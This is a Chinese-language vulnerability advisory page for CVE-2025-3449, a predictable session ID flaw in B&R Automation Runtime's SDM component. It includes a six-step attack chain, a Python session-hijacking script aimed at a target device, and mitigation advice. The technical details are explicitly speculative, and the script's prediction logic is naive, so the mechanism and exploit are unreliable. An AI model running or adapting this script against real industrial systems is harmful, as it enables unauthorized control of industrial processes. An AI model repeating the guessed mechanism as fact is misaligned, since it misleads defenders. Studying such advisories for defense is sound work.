IPBUF安全漏洞报告
English
CVE-2025-3449 CVSS 4.2 中危

CVE-2025-3449 B&R Automation Runtime SDM组件会话劫持漏洞

披露日期: 2025-10-07

漏洞信息

漏洞编号
CVE-2025-3449
漏洞类型
会话劫持/可预测标识符生成
CVSS评分
4.2 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
B&R Automation Runtime(SDM组件)

相关标签

CVE-2025-3449B&R Automation RuntimeSDM会话劫持可预测标识符工业控制ICSABB弱随机数中等严重

漏洞概述

CVE-2025-3449是B&R Automation Runtime(自动化运行时)软件SDM(Secure Device Management)组件中的一个安全漏洞,属于"生成可预测的数字或标识符"(Generation of Predictable Numbers or Identifiers)类型漏洞。该漏洞存在于6.4版本之前的所有B&R Automation Runtime中,可能允许未经身份验证的远程网络攻击者接管已经建立的会话。

B&R Automation Runtime是B&R工业自动化公司(现为ABB集团旗下)开发的工业控制软件,广泛应用于制造业、过程控制和机器自动化领域。SDM组件负责设备的安全管理功能,包括会话管理。该漏洞的核心问题在于SDM组件在生成会话标识符或随机数时使用了可预测的算法或弱随机数生成器,导致攻击者可以通过分析已建立的会话标识符模式来预测其他活跃会话的标识符。

该漏洞由ABB的网络安全团队([email protected])发现并报告,并于2025年10月7日公开披露。CVSS 3.1评分为4.2分,属于中等严重等级。攻击者无需身份验证即可通过网络发起攻击,但需要用户交互(如受害者处于活跃会话状态)。该漏洞主要影响会话的机密性和完整性,但不影响系统可用性。

在工业控制系统中,会话劫持可能导致未授权访问控制系统、修改工艺参数、读取敏感数据或干扰生产流程,对工业生产环境构成潜在威胁。

技术细节

该漏洞的技术原理在于B&R Automation Runtime的SDM组件在生成会话标识符(Session ID)或相关安全令牌时,使用了具有可预测性的随机数生成算法。具体而言:

1. **弱随机数生成**:SDM组件可能使用了基于时间戳、进程ID或简单线性同余生成器(LCG)的伪随机数生成器,而非密码学安全的随机数生成器(CSPRNG)。这类生成器的输出可以通过观察少量样本后预测后续值。

2. **会话标识符可预测性**:由于会话ID生成算法的可预测性,攻击者可以通过以下方式劫持会话:
- 监听网络流量获取一个或多个活跃会话的标识符
- 分析已获取的会话标识符的生成模式
- 基于算法逆向工程预测其他活跃或未来会话的标识符
- 使用预测的会话标识符冒充合法用户访问SDM管理接口

3. **攻击条件**:
- 攻击向量为网络(AV:N),攻击者可通过网络访问SDM服务
- 无需身份验证(PR:N),攻击者无需合法凭据
- 需要用户交互(UI:R),需要有活跃会话存在
- 攻击复杂度较高(AC:H),需要一定的技术能力来分析和预测会话ID

4. **影响范围**:成功利用该漏洞后,攻击者可以接管已建立的会话,获得与合法用户相同的访问权限,可能执行未授权的操作,如修改配置、访问敏感数据等。

攻击链分析

STEP 1
步骤1:信息收集
攻击者通过网络扫描发现目标B&R Automation Runtime设备的SDM服务端口,识别目标系统版本为6.4之前的受影响版本。
STEP 2
步骤2:样本采集
攻击者通过触发多个新的会话连接,收集多个会话标识符样本,用于分析其生成算法的可预测性。
STEP 3
步骤3:模式分析
攻击者对收集到的会话标识符进行统计分析,识别出SDM组件使用的弱随机数生成算法(如线性同余生成器、时间戳基础算法等)的参数和模式。
STEP 4
步骤4:会话ID预测
基于逆向工程的算法参数,攻击者预测当前活跃会话或其他未来会话的标识符值。
STEP 5
步骤5:会话劫持
攻击者使用预测的会话标识符向SDM管理接口发送请求,冒充合法用户接管已建立的会话,获得未授权访问权限。
STEP 6
步骤6:恶意操作
劫持会话后,攻击者可执行未授权操作,如修改工业控制配置、访问敏感数据、干扰生产流程或进一步渗透工业网络。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2025-3449 PoC - B&R Automation Runtime SDM Session Hijacking # Vulnerability: Predictable Session Identifier Generation in SDM Component # Affected: B&R Automation Runtime versions before 6.4 import requests import re from collections import deque TARGET_HOST = "192.168.1.100" # Target B&R Automation Runtime device TARGET_PORT = 443 # SDM service port SDM_PATH = "/sdm" # SDM component path def discover_session_ids(num_samples=5): """ Collect multiple session IDs by triggering new sessions and observing the predictable patterns in the identifiers. """ session_ids = [] for i in range(num_samples): # Initiate a new session to obtain a session ID resp = requests.get( f"https://{TARGET_HOST}:{TARGET_PORT}{SDM_PATH}/login", verify=False, timeout=10 ) # Extract session ID from response headers or cookies sid = resp.cookies.get("SESSIONID", "") if not sid: sid_match = re.search(r'session[_-]?id[=:]\s*([\w\-]+)', resp.text, re.IGNORECASE) if sid_match: sid = sid_match.group(1) if sid: session_ids.append(sid) print(f"[+] Collected Session ID {i+1}: {sid}") return session_ids def analyze_pattern(session_ids): """ Analyze collected session IDs to identify the predictable random number generation algorithm (e.g., LCG, timestamp-based). """ print("\n[*] Analyzing session ID patterns...") # Convert session IDs to numeric values if possible numeric_ids = [] for sid in session_ids: try: numeric_ids.append(int(sid, 16) if all(c in '0123456789abcdef' for c in sid.lower()) else int(sid)) except ValueError: numeric_ids.append(hash(sid)) # Check for linear congruential generator pattern: X(n+1) = (a*X(n) + c) mod m if len(numeric_ids) >= 3: differences = [numeric_ids[i+1] - numeric_ids[i] for i in range(len(numeric_ids)-1)] print(f"[+] Differences between consecutive IDs: {differences}") # Attempt to find LCG parameters if len(differences) >= 2: ratio_a = differences[1] / differences[0] if differences[0] != 0 else 0 print(f"[+] Estimated multiplier (a): {ratio_a}") return numeric_ids def predict_next_session_id(numeric_ids): """ Predict the next session ID based on the identified pattern. """ if len(numeric_ids) < 2: return None # Simple LCG prediction diff = numeric_ids[-1] - numeric_ids[-2] predicted = numeric_ids[-1] + diff print(f"\n[+] Predicted next session ID (numeric): {predicted}") return predicted def session_hijack(predicted_sid): """ Attempt to hijack a session using the predicted session ID. """ cookies = {"SESSIONID": hex(predicted_sid)[2:] if predicted_sid else ""} print(f"\n[*] Attempting session hijack with predicted ID...") resp = requests.get( f"https://{TARGET_HOST}:{TARGET_PORT}{SDM_PATH}/dashboard", cookies=cookies, verify=False, timeout=10 ) if resp.status_code == 200 and "dashboard" in resp.text.lower(): print(f"[+] SUCCESS! Session hijacked! Access granted.") return True else: print(f"[-] Session hijack failed. Status: {resp.status_code}") return False if __name__ == "__main__": print("=" * 60) print("CVE-2025-3449 - B&R Automation Runtime SDM Session Hijack PoC") print("=" * 60) # Step 1: Collect session ID samples sids = discover_session_ids(num_samples=5) # Step 2: Analyze the pattern numeric_ids = analyze_pattern(sids) # Step 3: Predict next session ID predicted = predict_next_session_id(numeric_ids) # Step 4: Attempt session hijack if predicted: session_hijack(predicted)

影响范围

B&R Automation Runtime < 6.4

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)限制SDM管理接口的网络访问,仅允许受信任的IP地址连接;2)通过防火墙规则减少SDM服务的网络暴露面;3)监控异常的会话活动与会话标识符模式;4)缩短会话超时时间,降低会话被劫持的风险窗口;5)尽快联系B&R/ABB获取安全补丁并进行版本升级。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表